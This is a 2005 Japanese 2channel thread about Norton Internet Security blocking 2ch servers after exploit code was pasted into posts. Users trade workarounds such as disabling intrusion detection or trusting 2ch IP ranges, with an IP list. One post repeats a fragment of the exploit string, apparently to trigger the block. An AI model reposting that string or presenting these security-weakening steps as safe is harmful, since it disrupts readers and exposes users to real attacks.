2005/11/29(火) 16:40:51ID:AGhcZUkK0
サイバー脳ガードですがtubo!!!!!!
191動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 17:09:00ID:sHz0qPv10
つぼーん
2005/11/29(火) 17:32:56ID:wDoA3WxM0
つぼってなんなの?
2chのトップページのやつでしょ?
2005/11/29(火) 17:34:44ID:1Go3sGnu0
うちのノートン壊れてるお
194動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 17:34:45ID:OMmBdrYj0
tubo
2005/11/29(火) 17:42:27ID:Eq2BGIZd0
>>192
これのことでそ
http://tubo.80.kg/index2.html
196動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 17:50:46ID:uUpJGZO80
壷からきたよ〜ん”!
197動け動けウゴウゴ2ちゃんねる
垢版 |
NGNG
壷からきました
2005/11/29(火) 18:01:08ID:fydB23Uw0
壺から来ました!!!
Monazilla/1.00 Live2ch/1.12
2005/11/29(火) 18:04:34ID:R4kBBqfg0
壷から攻撃を受けました
アドレスをクリックして攻撃者を追跡してここにたどり着きますた
2005/11/29(火) 18:23:30ID:6vrbFy/J0
tubo
2005/11/29(火) 18:34:47ID:fo2duNps0
壷からATTACK!!を受けました!!!
2005/11/29(火) 18:37:41ID:ndvbX+fl0
ほい 壷
203動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 18:40:28ID:gVJ+U4Sf0
つぼつぼうるせー
204動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 18:44:12ID:mMzPXlX/0
>>13を実行すると2ちゃんに対して限りなく無防備になる・・!
これはひろゆきの陰謀・・2ちゃんIP除外さsghbfxg@ふじお」
205動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 18:49:00ID:5TYjJKDv0
それでも壷
何かと引っかかってくるノートンなんぞ使うなYO!
2005/11/29(火) 18:49:27ID:IO950uoj0
ノートン2003版はどうしたらいい?
>>122してもダウソ板は見れない
207動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 18:53:58ID:5TYjJKDv0
WIN95時代にノートン製品使って痛い目見てから俺はここのソフトは使ってない。
208動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 18:56:22ID:4RalRQzW0
>>206
たぶん遮断されたままになってる
侵入検知の設定で消せ



VIP臭いとかいわれて●ログインなしで書き込めない・・・
2005/11/29(火) 18:56:31ID:A9AMjXVl0
ノートン使ってるのに2ch見れるんだけどどういうこと?
210動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 19:00:40ID:gVJ+U4Sf0
>>209
それFWじゃないとか
2005/11/29(火) 19:00:45ID:EECGJvW30
>>13の設定でいいのかそれとも>>133のように個別に設定した方がいいのかどっちがいいの?
NGNG
>211
そりゃ個別に設定した方がbetterじゃろ。

>207
DOSのころからろくでもなかった。
2005/11/29(火) 19:06:45ID:A9AMjXVl0
>>210
ああ、そうかも。thx
2005/11/29(火) 19:12:00ID:2NBiF5Fg0
>>13の設定にしてもダウソ板だけ回復しない
215動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 19:12:49ID:nvItxBk10

俺マカ使い
2005/11/29(火) 19:14:12ID:Vk8G7EyN0
壺から呼ばれました。
2006使っているけど、特に問題ないよ。
2005/11/29(火) 19:15:52ID:ZLvIhK/90
2005/11/29(火) 19:22:20ID:IO950uoj0
>>208
いや、ちゃんと遮断は削除してるんです。
個別にIP指定しても、すでに含まれてますってなるし。 もういや
21994
垢版 |
2005/11/29(火) 19:28:23ID:zOkoTgfL0

亀だけど礼を言いたいのは>>96に対してですた
2005/11/29(火) 19:28:37ID:6GYxmvRu0
ファイアウォールの方の設定はしてあるのか?
221動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 19:31:17ID:nnXxkQxK0
>>213
検知とファイアーウォール両方いじったら直ったよ
2005/11/29(火) 19:37:13ID:6GYxmvRu0
俺の場合(2005)はFWだけ弄れば見たい板は問題なく見れるようになった。
範囲でFW通すのは何やら精神的に気持悪いから、個別で指定してる。まぁそれでもいい気はしないがね・・。
223動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 19:40:54ID:9JoMVshG0
心配なら取得する時のみ無効にすればいい。侵入検知を切るだけでおk
224動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 19:43:03ID:aP9Wz7KR0
侵入検知はオートプロテクトを切ると切れるんですか?
2005/11/29(火) 19:52:31ID:dpk2pTxJ0
>>211
断然個別
2005/11/29(火) 19:54:31ID:RJ84fqQP0
個別のIPはどやって調べるの?
2005/11/29(火) 19:55:49ID:6n9wrj/w0
監視所とかに書いてあるような書いてないような
228動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 19:59:24ID:Q+gfjjfY0
ノートン<<<<<<<<<ウイルス警備隊
2005/11/29(火) 20:06:57ID:FcNc7KRZ0
>>226
2ch 鯖監視係。
http://sv2ch.baila6.jp/sv2ch01.html
230動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 20:07:13ID:nI/Sl6mU0
壷さんからお呼びがかかりました。
ウイルス警備隊ユーザーには関係ないぽね
2005/11/29(火) 20:08:50ID:RJ84fqQP0
>>229
別の監視所見てたよ
ありがd
2005/11/29(火) 20:09:51ID:6GYxmvRu0
あとノートンのログで侵入検知見れば分かるはず
233動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 20:10:27ID:JMwS8yeh0
昨日何とも無かったのに今日になったら誤作動したよ
めんどくせえなぁ
234動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 20:29:16ID:6u6YhnaM0
tubo

2005/11/29(火) 20:41:32ID:ADUf7TYV0
ノートンのばか〜〜!!!!
2005/11/29(火) 20:45:32ID:Btewj1rg0
ノートン先生もぼけ来てるんじゃね。
家のバスター君は元気だけど。
2005/11/29(火) 20:48:08ID:zJbIUtiS0
3月に期限切れる  
何に乗り換えようかな

バスターがいいのか?
2005/11/29(火) 20:53:11ID:x2/YUPqr0
>>237
NOD32+zonealarm or outpost
2005/11/29(火) 20:56:36ID:6GYxmvRu0
俺は今後

Norton AntiVirus + zonealarm

考えてみりゃ最初からこうすりゃ良かった
2005/11/29(火) 21:00:43ID:ADUf7TYV0
キングソフトのインターネットセキュリティーが今なら無料だから入れてみようかなぁ?
中国製だけどソースネクストのよりは良い?
2005/11/29(火) 21:01:28ID:0DI59/9R0
>>238>>239
おれもどっちかにしようと思ってんだけど
どっちがいいかなあ
どっちか勝った方にするから悪いけど戦ってくんない?
2005/11/29(火) 21:16:27ID:Z4fZEAAw0
ダウソ板見れない
どうしたらいいんですか?
2005/11/29(火) 21:17:31ID:hoRnJLza0
人生をアンインスコ
NGNG
人生を再インスコ












できたらいいなぁ
2005/11/29(火) 21:20:55ID:fufn59/A0
>>239
来月切れるからその組み合わせ使わせてもらうわ
246stream ◆PNstream2s
垢版 |
2005/11/29(火) 21:21:19ID:o3YHdNzt0
>>244
再インスコのつもりがアンインスコ
2005/11/29(火) 21:23:45ID:Z4fZEAAw0
ttp://upload.fam.cx/cgi-bin/img-box/6oj51129212301.jpg

ダウソ板見れるようにしてくれよ
248動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 21:28:31ID:Afo9w9Uo0
何この流れ
2005/11/29(火) 21:30:03ID:Iv1JqNbH0
ノートン先生、なんで対策しないの?
2005/11/29(火) 21:35:46ID:wW958vhb0
JaneDoe View α + Privoxy + Tor
2005/11/29(火) 21:54:20ID:9Q86b5rc0
急にきたよ誤作動
2005/11/29(火) 21:55:56ID:VEgjCrJJ0
ウイルスバスター使いなよ
軽いし自動で何でもやってくれるし
NGNG
作ってみました。
ノートン応急対策
http://info.2ch.net/wiki/pukiwiki.php?%CA%E4%C2%AD%A4%C8%CA%E4%B4%B0#Norton_Emergency_measures
多謝
2005/11/29(火) 22:06:18ID:8f7gZLkl0
>>253
乙。
でも穴があくから、不安。
2005/11/29(火) 22:14:54ID:FOzVTJ020
あー。コレか原因は。
LiveUpdateで勝手に入ったから突然変になった様に感じた訳か。

このまま何の対策も無かったら次の期限でオサラバするか。
とりあえず今の所は進入検知切ってログ取得。

IPを除外リストに入れても、例の文字列書いてあるスレの
ログ取得するとログがメチャメチャだし。
2005/11/29(火) 23:49:12ID:Il2JuQtI0
誰かシマンテックに文句言ってくれたか?
2005/11/29(火) 23:56:26ID:8fZbVKMb0
MSのアップパッチを最近入れてなかった俺は勝ち組。ノートン通常どおりに働いていて問題なし。
258動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 00:02:26ID:Ckl+Jhr20
これって2ch側は何も対策しないの?
259動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 00:05:41ID:eYxFM4Ga0
>>257
NISで?
2005/11/30(水) 00:06:18ID:AAzcm5DD0
市販ソフトの誤動作に2ちゃんが尻拭いする必要はないと思うが
2005/11/30(水) 00:09:45ID:su3dAoZP0
>>258
悪いのはこんな糞な仕様なソフト作ってるシマンティックだし

>>167
の通り、2ch側で対応するべき問題じゃない。
この問題を対応するのはシマンテック側だろ。
ま、シマンテックは今までに報告されてる誤作動も修正したことないし今回もスルーだろう
自分で>>13とかの応急処置をするしか方法はないかと

今回ので俺はノートンからさよならした
2005/11/30(水) 00:14:08ID:qToWCUMM0
ギコナビみれるようになったけど、行間ができてるみたいなんだけど
これって直らないの?
AAとかがみにくい・・・
2005/11/30(水) 00:14:45ID:Ee53AgFy0
役に立つかどうかは分かりませんが、誤反応しないようにdatを
書き換えるプログラムを更新してみました。
http://www.geocities.jp/cen_hp/program3.html
2005/11/30(水) 00:15:04ID:iZh7rO0P0
ギコナビスレでシリア語ブラクラで探せw
2005/11/30(水) 00:30:10ID:SjbC5L5o0
>>263
さすがはcenさんです、乙!
2005/11/30(水) 00:32:04ID:E+3oWsFR0
ノートン2003だけど、どうしても、ダウソ板だけ見れないよー
2005/11/30(水) 00:38:33ID:RU2xBeL70
風邪ばかり
2005/11/30(水) 00:38:36ID:HACQJiVy0
ノートンの侵入検知切ったら見れるようになったけど
この侵入検知って切ると何がヤバイの?
何が侵入してくる?
2005/11/30(水) 00:43:19ID:3+buwww50
IE使っていない人は
拡張でHTTP MSIE〜のチェックを外す方が安全じゃないか?
2005/11/30(水) 00:54:19ID:907YJjRS0
誰か・・・俺の心の隙間を埋めて・・・
2005/11/30(水) 01:03:59ID:Tt06Xqet0
取り合えず波が去ってくれるの祈るか…
2005/11/30(水) 01:24:10ID:tkppn4ZU0
>>270
私の名は喪黒福造
人呼んで笑うセールスマン
セールスマンと言っても、ただのセールスマンでは御座いません。
私の取り扱う品物は「心」人間の心で御座います。
この世は老いも若きも男も女も、心の寂しい人ばかり。
そんな皆様の心の隙間を、お埋め致します。いいえ、お代は一銭もいただきません。
お客様が満足していただけたら、それが何よりの報酬でございます。
さて、今日のお客様は……
ほぉ〜ほっほっほっ
2005/11/30(水) 01:26:47ID:TxJ8yZ+00
>>270
つ 半角
2005/11/30(水) 01:36:10ID:E+3oWsFR0
NISの侵入検知から拡張の中のHTTP MSIE JavaScript OnLoad Rte CodeExecを除外

これと、>>13とはどっちが安全なの?
2005/11/30(水) 01:38:34ID:zA076Zfh0
>>259
NIS2005Onlineです。NISのアップはバッチリやったよ。
2005/11/30(水) 01:39:29ID:XP0RizPo0
まぁそれはそれで良くは無いけどな
2005/11/30(水) 01:42:09ID:XP0RizPo0
>>269が良い事言った。無条件で侵入ルート空けとくよりMSIE〜のチェック外す方が全然安全だわ。
2005/11/30(水) 01:57:50ID:XE8bAUTp0
2005/11/30(水) 02:08:12ID:Q0uY9Zhy0
別にノートン使ってる人の自己責任じゃないの?
2chで対策するようなことじゃないよ。
2005/11/30(水) 02:18:56ID:AU+by5DZ0
また始まりましたね・・・
281動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 03:37:37ID:yDPhDj6Y0
なんか例の対策は自己責任とか出るしとってもやりにきんだけど
なんか対策してないのにこのスレ読み込めるようになったのは
2ch様が対策してくれたのですか?bodyなんちゃらをNGワードにしても
意味ないらしいし…なんでこのスレみれるようになったんでしょうか
2005/11/30(水) 03:52:08ID:JLudtcP90
296 名前:動け動けウゴウゴ2ちゃんねる 投稿日:2005/11/28(月) 17:58:55 ID:Ejg9D+rr0
何も対策してないのに、少し前から急に見られるようになった。

297 名前:動け動けウゴウゴ2ちゃんねる 投稿日:2005/11/28(月) 18:00:38 ID:7P7mflxJ0
30分経過しただけじゃね?

299 名前:動け動けウゴウゴ2ちゃんねる 投稿日:2005/11/28(月) 18:05:08 ID:M2vw8U+r0
>>296
自分も。
なぜだろう。

303 名前:動け動けウゴウゴ2ちゃんねる 投稿日:2005/11/28(月) 18:18:00 ID:WmGEF4hJP
>>299
詳細: 侵入を検出して遮断しました。
news19.2ch.net(206.223.151.67)
とのすべての通信は 30 分間にわたって遮断されます。
アドレスをクリックすると攻撃者を追跡できます
この攻撃について詳しくは シマンテック・セキュリティ・レスポンス
283動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 04:19:21ID:yDPhDj6Y0
30分我慢すればいいのか。
こういう悪いことは一体誰がどういう経緯で気づくんだろうか。
ウィルスコードで誤反応とか解決できたと思ったら、すぐまた新しい手段でくるし
大宮寺 あゆ親衛隊みたいのがまた真似して貼りまくるんじゃないのか・・・
今度はその鯖自体読み込めなくなるのって凶悪すぎるよ・・・。
こんなの実況中に貼りまくられたら、「スレが見えなくなったんだけど?」みたいな
そういうレスばっかになって台無しだよ。専ブラのNG指定でも効果ないなんて

安心していいんですか?
対策施して、これ考えた人がそれすらも予想していて
対策した人になんか攻撃してくる方法編み出してたらどうすればいいの?
206.223.147.0-206.223.154.255、
除外しない方がいいんですか?全ては自己責任とか書いてるし
なんか不安材料ありますみたいな書き方だし。キンタマウィルス流し込まれたり
山田ウィルス流し込まれたりされませんか?
ウィルスコードの文字列とかは、ログ除外しても「文字コードだけでどうやって感染するんだw」
みたいな説得力あるお言葉があったからいいけど・・・。今度のは・・・?
2005/11/30(水) 04:27:49ID:l9aDfmuR0
山田もキンタマも>>283がすでにそれらに感染してないと
どうもならないよ ながしこんで自動感染させる事が出来たら
P2Pとかつないだ瞬間感染しちゃう
2005/11/30(水) 04:37:51ID:l9aDfmuR0
山田とかキンタマは○○.exeって感じの実行形式ファイルだから
これらをどっかから手に入れて、実行して感染して、さらに
>>283がファイアーウォールの206.223.147.0-206.223.154.255を除外したら、
ひろゆきに、ごにょごにょされる可能性があるっちゃある
2005/11/30(水) 04:38:03ID:907YJjRS0
大空寺あゆってHELVAだっけ?アイツ悪で有名なのか?
2005/11/30(水) 07:46:58ID:fg2DwVTi0
日本語で書いてね> ID:yDPhDj6Y0
288動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 07:58:17ID:vGigrqZf0
kak.hta';ken=wd+'START
2005/11/30(水) 11:23:22ID:UYH+ebGK0
反抗予告とかめちゃやばい書き込みとかはすぐ反応して消すのに・・・
>>288見たいなのは放置なんだね運営のひと
2005/11/30(水) 11:24:28ID:3wtm3RBX0
めちゃやばくないからじゃね?
291動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 11:39:07ID:yXtj0IcE0
>>13は実行したけどWin板が読めないです... (ノД`)
2005/11/30(水) 11:44:14ID:FXqml7ZB0
>>288 みたいな書き込みがあるとどうなるの?
293291
垢版 |
2005/11/30(水) 12:11:07ID:yXtj0IcE0
すんませんでした Janeのスレ再読み込みで原因判明です
自分が見ようとしてたスレの最終レスに>>4が書き込まれてた (`・ω・´)
2005/11/30(水) 12:11:41ID:ir1WgKBa0
>>291
一時、先生の進入検知をオフにして
その板なりスレなりを読み込んでログを取得する。
そのあと侵入検知をオンに戻せばいい。
アンカー狂ってる人もこれやってログを再取得すれば直るよ。
難点はちょっとだけマンドクセ(´・∀・`)
295291
垢版 |
2005/11/30(水) 12:17:43ID:yXtj0IcE0
>>294
はい、そんなふうにやってみますね
アドバイスどうもありがとう (*´д`*)
2005/11/30(水) 12:42:51ID:bSXJlEO4O
単なる文字列まで潔癖に反応しちゃうんだよな
確かに強力ではあるけどさ
2005/11/30(水) 12:49:08ID:xisfjX4H0
>>291
Win板はちゃんと>>13の範囲内にあるから読めないのはおかしいな
多分侵入検知で30分読めない状態になってるとかそんなのだから
侵入検知設定で解除すれば?
2005/11/30(水) 13:24:12ID:fajnxw/+0
このスレ、どれが反応しているの?読み込んでも残らない。
2005/11/30(水) 13:30:18ID:NyYRdYH60
>>298
>>26>>267か。
2005/11/30(水) 13:45:40ID:UCh+LkJe0
夕べノートンからバスターに乗り換えたけど、
ノートンの潔癖なところが恋しくなってきた。
2005/11/30(水) 13:48:04ID:19rM48fa0
>>288
んでこれは何?
302動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 14:29:02ID:j2YTL7z90
>>299
なるほど
303マァヴ ◆jxAYUMI09s
垢版 |
2005/11/30(水) 16:18:18ID:CZxBUHKO0
まとめサイトを作ってみたの心(^_^;)
http://mickey.mirv.net/2chnis.html
2005/11/30(水) 16:24:16ID:FXqml7ZB0
一箇所誤字ハケーン
「Nortn」になってる
305動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 16:24:22ID:Jim9sdHh0
>>303
NIS2003が思いっきり間違ってますよ。
306動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 16:26:07ID:oaHzsrCO0
>>303
最初の文字デカッ!老眼かよw
それなのに赤の自己責任がいやに小さいじゃないか

何にしても乙
307動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 16:27:16ID:Jim9sdHh0
2003書くからちょいま。
308マァヴ ◆jxAYUMI09s
垢版 |
2005/11/30(水) 16:27:52ID:CZxBUHKO0
よろ(^_^;)2003
309マァヴ ◆jxAYUMI09s
垢版 |
2005/11/30(水) 16:30:08ID:CZxBUHKO0
>304
なおしたー(^_^;)

>306
ちょっとだけ(^_^;)>老眼
やや小さめにしてみた。
2005/11/30(水) 16:31:44ID:bAr5rw610
JaneDoe Viewだけど あぼーんに>>26>>267のコードを登録すると今のところ問題ないみたい
311動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 16:31:48ID:jeCQyGXH0
臭いをたどってニュー速からきますた(・∀・)
312動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 16:33:22ID:MwFcgwlr0
昨日のえなりかずきといいなんだなんだよ・・・?
313マァヴ ◆jxAYUMI09s
垢版 |
2005/11/30(水) 16:33:34ID:CZxBUHKO0
さて、2004の対応を書かないと(^_^;)
314動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 16:37:18ID:Jim9sdHh0
>>308これでおけ

NIS2003

Norton Internet Securityを開く
[ファイアーオール]をクリック
[設定]をクリック
[ホームネットワーク]タブをクリック
[信頼]→[追加]とクリック
[範囲指定を使う]にチェック
[インターネットの開始アドレス]に 206.223.147.0
[インターネットの終了アドレス]に 206.226.154.255
[OK]をクリック
315マァヴ ◆jxAYUMI09s
垢版 |
2005/11/30(水) 16:38:22ID:CZxBUHKO0
>314
さんきう(^_^;)
316マァヴ ◆jxAYUMI09s
垢版 |
2005/11/30(水) 16:39:04ID:CZxBUHKO0
更新したのこころ(^_^;)
2005/11/30(水) 16:39:37ID:FXqml7ZB0
ファイアーオールってボート漕ぎの時に使うアレか
318動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 16:48:38ID:Jim9sdHh0
×ファイアーオール
○ファイアウォール

すまんかった

NIS2003

Norton Internet Securityを開く
[ファイアウォール]をクリック
[設定]をクリック
[ホームネットワーク]タブをクリック
[信頼]→[追加]とクリック
[範囲指定を使う]にチェック
[インターネットの開始アドレス]に 206.223.147.0
[インターネットの終了アドレス]に 206.226.154.255
[OK]をクリック
2005/11/30(水) 16:52:02ID:WBy9RhsJ0
>>303
対処方法にNIS2006の場合が無いのはどうして?
320マァヴ ◆jxAYUMI09s
垢版 |
2005/11/30(水) 17:01:12ID:CZxBUHKO0
>319
あ、現行商品って2006なの?(^_^;)

つか、誰か2004の対処方法教えて・・・・
2005/11/30(水) 17:08:12ID:3ccjL9YY0
>>320
マァヴ氏のセキュリティ感覚に疑念を抱く漏れであった…(´-ω-`)
2005/11/30(水) 17:13:23ID:MW28T5Jp0
Down板でNIS2006のクラック方が書き込まれた後に、この騒動が起こった。
シマンテックの仕業と思うのは自分だけだろうか。
2005/11/30(水) 17:16:38ID:1vUJ8vnO0
>>322
あるわけねーだろ^^;
324動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 17:18:07ID:Jim9sdHh0
>>320
この文追加すると親切かも。

206.223.147.0-206.226.154.255 の範囲に入らない板も存在するので
必要に応じて下記URLを参照し個別に設定して下さい。

http://sv2ch.baila6.jp/sv2ch01.html
2005/11/30(水) 17:19:36ID:AU+by5DZ0
なんでこういう事するやつって永久アク禁にならんの?
何も悪くないオレ様が2chにアクセスするために
なんで脳豚の設定弄らなきゃならんの?
ばかじゃね。
326動け動けウゴウゴ2ちゃんねる
垢版 |
NGNG
Norton Internet Security/Norton Personal Firewall でコンピュータを信頼ゾーンに追加する方法
http://service1.symantec.com/SUPPORT/INTER/nisjapanesekb.nsf/cb0a21d58cdc124388256ef400492270/73e84cfb6ce65d8f49256cdb000ad536?OpenDocument&csm=no&sone=_tasks.html&stg=&prod=&ver=&base=&next=&tpre=jp&src=jp_sg&pcode=
2005/11/30(水) 17:25:57ID:CZxBUHKO0
>324
加えたー(^_^;)

>326
みてみるー(^_^;)
2005/11/30(水) 17:27:39ID:Jim9sdHh0
>>327
乙です。
2005/11/30(水) 17:28:25ID:weYzj1B40
もう面倒だから一旦NIS切ってログ取得してからONにしてる
これで問題なす
330動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 17:29:23ID:LgGtfuW70
>>318>>324
終了アドレス

×206.226.154.255
○206.223.154.255
2005/11/30(水) 17:31:12ID:CZxBUHKO0
2004は2005と同じと判明(^_^;)追加ー
2006はよーわからん
332動け動けウゴウゴ2ちゃんねる
垢版 |
NGNG
202.222.31.214 be.2ch.net
206.223.147.35 headline.2ch.net stats.2ch.net
206.223.147.55 2chplus.2ch.net music4.2ch.net
206.223.147.60 pc7.2ch.net
206.223.147.220 aa5.2ch.net off3.2ch.net
206.223.147.230 qb5.2ch.net qb6.2ch.net
206.223.147.235 that4.2ch.net
206.223.148.120 up01.2ch.io
206.223.148.200 pc8.2ch.net
206.223.149.230 human5.2ch.net
206.223.149.235 school5.2ch.net
206.223.150.10 hobby8.2ch.net
206.223.150.15 bubble4.2ch.net
206.223.150.54 live22.2ch.net
206.223.150.100 book3.2ch.net travel2.2ch.net
206.223.150.110 live20.2ch.net
206.223.150.115 game10.2ch.net
206.223.150.120 news18.2ch.net
206.223.150.155 society3.2ch.net
206.223.150.175 etc3.2ch.net
206.223.150.180 live14.2ch.net qa.2ch.net
206.223.150.185 academy4.2ch.net science4.2ch.net
206.223.150.195 comic6.2ch.net
206.223.150.200 food6.2ch.net
206.223.150.205 tmp5.2ch.net
206.223.150.230 ex9.2ch.net
206.223.150.235 tv8.2ch.net
206.223.150.240 sports9.2ch.net
206.223.151.62 hobby7.2ch.net
206.223.151.67 news19.2ch.net
206.223.151.75 pie.bbspink.com
206.223.151.95 idol.bbspink.com
206.223.151.125 love3.2ch.net
206.223.151.130 live19.2ch.net
206.223.151.135 liveb1.2ch.net
206.223.151.140 money4.2ch.net
206.223.151.225 ex14.2ch.net
206.223.152.15 music5.2ch.net
206.223.152.30 dso.2ch.net etc4.2ch.net game9.2ch.net
206.223.152.40 sakura01.bbspink.com
206.223.152.50 live16.2ch.net
206.223.152.55 life7.2ch.net
206.223.152.60 sakura02.bbspink.com
206.223.152.145 tv7.2ch.net
206.223.152.150 live18.2ch.net
206.223.152.235 sakura03.bbspink.com
206.223.153.130 headline.bbspink.com
206.223.154.225 ex12.2ch.net
206.223.154.230 ex13.2ch.net
206.223.154.235 live21.2ch.net
206.223.154.240 anime.2ch.net
206.223.154.245 ex11.2ch.net
210.135.98.243 epg.2ch.net
210.224.161.33 sports2.2ch.net
2005/11/30(水) 17:36:59ID:OuC6zTXy0
漏れは2006だが同じだと思う
2005/11/30(水) 17:41:19ID:OuC6zTXy0
2006

「ファイヤーウォール」
「設定」
「ホーム(アクティブ)」←ここは設定による
「ネットワーク」
「信頼ゾーン」
「範囲で選択」
2005/11/30(水) 17:42:06ID:BxRAh3jh0
2006も2005と同じ操作でいける
ただ設定ボタンは右下(これは2005でも同様だと思う)
2005/11/30(水) 17:43:23ID:Jim9sdHh0
>>330
あれ、スマンです。
書き間違えた  orz
2005/11/30(水) 17:54:05ID:Jim9sdHh0
五月蝿い事いって悪いけど、INS2003はダイヤログの表示無く
いきなり、404になるので混乱する人も居るかと…
338動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 18:19:07ID:Gxo6UxA30
うあー、しんど!全部一個づつ追加した。
間違えてなければいいけど。これで安心かな!?
来年はノートンとおさらばする
339動け動けウゴウゴ2ちゃんねる
垢版 |
NGNG
範囲で選択しなくても「個別」で空白区切りで登録できるお

202.222.31.214 206.223.147.35 206.223.147.55 206.223.147.60 206.223.147.220 206.223.147.230 206.223.147.235 206.223.148.120
206.223.148.200 206.223.149.230 206.223.149.235 206.223.150.10 206.223.150.15 206.223.150.54 206.223.150.100 206.223.150.110
206.223.150.115 206.223.150.120 206.223.150.155 206.223.150.175 206.223.150.180 206.223.150.185 206.223.150.195 206.223.150.200
206.223.150.205 206.223.150.230 206.223.150.235 206.223.150.240 206.223.151.62 206.223.151.67 206.223.151.75 206.223.151.95
206.223.151.125 206.223.151.130 206.223.151.135 206.223.151.140 206.223.151.225 206.223.152.15 206.223.152.30 206.223.152.40
206.223.152.50 206.223.152.55 206.223.152.60 206.223.152.145 206.223.152.150 206.223.152.235 206.223.153.130 206.223.154.225
206.223.154.230 206.223.154.235 206.223.154.240 206.223.154.245 210.135.98.243 210.224.161.33

一行に直して登録すれ

一瞬固まるけどw
340動け動けウゴウゴ2ちゃんねる
垢版 |
NGNG
>>338 m9(^Д^)
341動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 18:26:20ID:Gxo6UxA30
>>339 ちょwwおまwwwwwwwwwww
でも登録のとこ右クリできんかったけど
2005/11/30(水) 18:30:02ID:xl6g/UwY0
ノートンだけどまったく反応しない…
専ブラのフォルダだけ除外してるからかな…?
2005/11/30(水) 18:49:55ID:weYzj1B40
除外で反応しないならこんな騒ぎになってない
2005/11/30(水) 18:51:13ID:WBy9RhsJ0
>>342
オレも反応しないよ。
2005/11/30(水) 18:54:33ID:z/qDrHX40
>>341
Ctrl+Vで貼り付けれたよ
2005/11/30(水) 18:58:01ID:PC88Iz0i0
アドレス指定して、専ブラのブクマしたスレは見られるようになったが、
スレ一覧の取得をすると同じ侵入検知を吐くのが謎だ…@ゾヌ1.0
HTTP MSIE〜自体の許可しかないのかなー?
2005/11/30(水) 19:08:40ID:tcBj6RrZ0
>>342
>>344
ノートンアンチウィルスじゃないぞ。
ノートンインターネットセキュリティの話だ。
2005/11/30(水) 19:15:24ID:SY1wttrs0
はじめまして、こんばんわ。
僕も3日前くらいからHTTPなんちゃらエラーが出て、
2chの一部が見えたり見えなくなったりしてました。
最初は2chにアク禁されてる?とか2ch落ちてる?とか
思ったのですが、運用情報を思いついてここに来ました。

>>13が正しいってことで無問題ね。
僕も今のところ問題なし。

>>79
びびったYO

>>2chを信頼ゾーン
2chにハッキングされない?
ひろゆ○は2chねらーのパソコンやりたい放題じゃんw


>>ノートン先生の誤作動
高性能で検出率が高いから仕方ないと考えたら?
2005/11/30(水) 19:21:13ID:f4gnAEcT0
範囲じゃなく>>339をコピペしたほうがいいよ
ノートン文字列だけで反応することないだろうに
ファイアウォール部分だけのアンインストはできないから
次はアンチウイルスだけ買おうと思う
2005/11/30(水) 19:39:05ID:1vUJ8vnO0
>2ちゃんねるのサーバーのIPアドレスを信頼できるゾーンに設定すればブロックされなくなるが、
>シマンテックでは「本当に危険なコードが埋め込まれた場合にブロックできなくなるので、お勧めはしない」という。
http://internet.watch.impress.co.jp/cda/news/2005/11/30/10035.html
2005/11/30(水) 19:39:42ID:zA076Zfh0
>>342 >>344
MSのアップをしていないからだよ
2005/11/30(水) 19:46:01ID:CZxBUHKO0
>339
まとめサイトに入れたー(^_^;)これはいいや
353動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 19:57:03ID:5XIwIWVx0
今、バスター御試版で読んだが、なんとも無い。ふ〜ん。
354動け動けウゴウゴ2ちゃんねる
垢版 |
NGNG
>>341 登録するIPが、すでに登録されている範囲にかぶってると「かぶってるよ」って言われるけどそれかな
2005/11/30(水) 20:03:23ID:Jim9sdHh0
>>354
右クリ→貼り付けのことじゃない?
Ctrl+Vじゃなくて。

確かに、登録窓で右クリはできんよなぁ。
2005/11/30(水) 20:27:12ID:va8RNOAI0
シマンテックでは「本当に危険なコードが埋め込まれた場合にブロックできなくなるので、お勧めはしない」という。
また、「脆弱性を突く攻撃コードを2ちゃんねるにいたずら目的でコピー&ペーストしている人がいる」とし、
安易に攻撃コードを書き込まないよう呼びかけている。

この言い方から考えると、シマンテックは対処する気ないみたいだな。
やっぱり自己責任で弄れってことか・・・
2005/11/30(水) 20:36:45ID:+O0TR+lh0
書き込むなって言ってみんなが書き込まなくなるなら、ウィルスやスパイウェアは蔓延しないと思う・・・
2005/11/30(水) 20:43:17ID:r3tAclt70
ノートンを窓から(ry
2005/11/30(水) 20:43:49ID:lQJBvF8/0
貼られてるスレがどんどん増えてるな・・・
>>356のとおりだとメーカーは対応する気無いみたいだし
